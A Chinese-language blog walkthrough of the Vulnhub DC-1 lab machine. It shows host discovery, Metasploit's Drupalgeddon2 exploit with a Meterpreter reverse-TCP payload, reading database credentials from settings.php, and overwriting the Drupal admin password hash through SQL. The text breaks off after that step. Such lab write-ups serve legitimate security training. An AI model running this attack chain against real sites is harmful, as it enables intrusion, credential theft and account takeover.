DC-1靶機實戰和分析
阿新 • • 發佈:2020-07-23
#前言
我們都知道,對靶機的滲透,可以寬闊自己的解題思路,練習並熟悉相關操作命令,提高自己的能力。下面我就對Vulnhub的DC-1靶機進行滲透,靶機設定了5個flag,咱們依次找到它。並通過圖文形式講解涉及到的相關知識點。DC-1的靶機下載地址為:[https://www.vulnhub.com/entry/dc-1,292/](https://www.vulnhub.com/entry/dc-1,292/)
目標機IP地址:198.162.9.138
攻擊機kali IP地址:198.132.9.129
想要了解SQL注入原理的可以看我的這兩篇文章:
[https://www.cnblogs.com/lxfweb/p/13236372.html](https://www.cnblogs.com/lxfweb/p/13236372.html)
[https://www.cnblogs.com/lxfweb/p/13275582.html](https://www.cnblogs.com/lxfweb/p/13275582.html)
想要了解XSS原理的可以看我的這兩篇文章:
[https://www.cnblogs.com/lxfweb/p/12709061.html](https://www.cnblogs.com/lxfweb/p/12709061.html)
[https://www.cnblogs.com/lxfweb/p/13286271.html](https://www.cnblogs.com/lxfweb/p/13286271.html)
#目標探測
滲透測試的第一步,是資訊收集,這一步很重要,關係到後面的滲透步驟。下面我們對目標機進行主機發現。因為都在區域網,所以使用內網掃描。
命令:`arp-scan -l`
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200722235538449-1706807553.png)
發現主機IP後,使用nmap進行埠掃描。
命令:`nmap -v -A 192.168.9.138`
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200722235827532-1583371172.png)
發現目標機開放了22、80、111埠。
#尋找flag1
現在我們以80埠作為突破口。通過指紋識別,這裡用到的是whatweb,發現是Drupal cms 版本是7。下面使用MSF進行滲透攻擊。開啟工具,搜尋Drupal的相關模組。
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723001623706-1089306958.png)
這裡我選擇第4個模組。讀者可以嘗試其他模組。
輸入命令:`use exploit/unix/webapp/drupal_drupalgeddon2 `載入exploit。然後檢視相關payload,輸入命令:`show payloads`
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723005300385-886255978.png)
這裡選擇15,輸入:`set payload php/meterpreter/reverse_tcp`
接著輸入:`show options` 開啟配置選項。
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723013622787-942170787.png)
標為yes的都是必須配置的。現在配置一下RHOSTS(目標機IP),LHOSTS(攻擊機IP),其他預設就行了。
發現獲取到了meterpreter shell。現在檢視一下目錄。
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723081151033-1309621608.png)
發現目標,找到flag1。
#尋找flag2
檢視flag1檔案,發現有提示,咱們尋找配置檔案。
接下來進入sites目錄下,接著進入default目錄。檢視settings.php檔案。
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723082747296-1736650005.png)
找到了flag2。
#尋找flag3
我們發現配置檔案中有資料庫賬號和密碼。現在嘗試登陸資料庫。
現在進入目標機shell環境,檢視埠情況。命令:`netstat -ano`
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723084733938-1981792195.png)
我們注意到,資料庫只允許本地連線。所以,我們需要反彈一個shell出來。
採用python呼叫系統命令:
```
python -c 'import pty;pty.spawn("/bin/bash")'
```
發現反彈成功,接下來輸入資料庫賬號密碼連線MySQL資料庫。
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723085954307-490300931.png)
下面,我們檢視庫,查看錶。
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723090156727-151417550.png)
找關鍵的表,發現裡面存在users表。開啟它。
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723090628087-317549452.png)
發現了admin賬戶和密碼。但是這個密碼有點複雜,破解有點困難。所以想想其他的方法。這裡我們登陸了對方資料庫,所以,我們採用對方的加密方式覆蓋掉原來的密碼就可以了。
先呼叫命令生成咱們設定的密文。明文是xfaicl。命令:`php scripts/password-hash.sh xfaicl`
![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723091834573-1347430626.png)
接著替換掉原來的密碼。
```
update users set pass="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1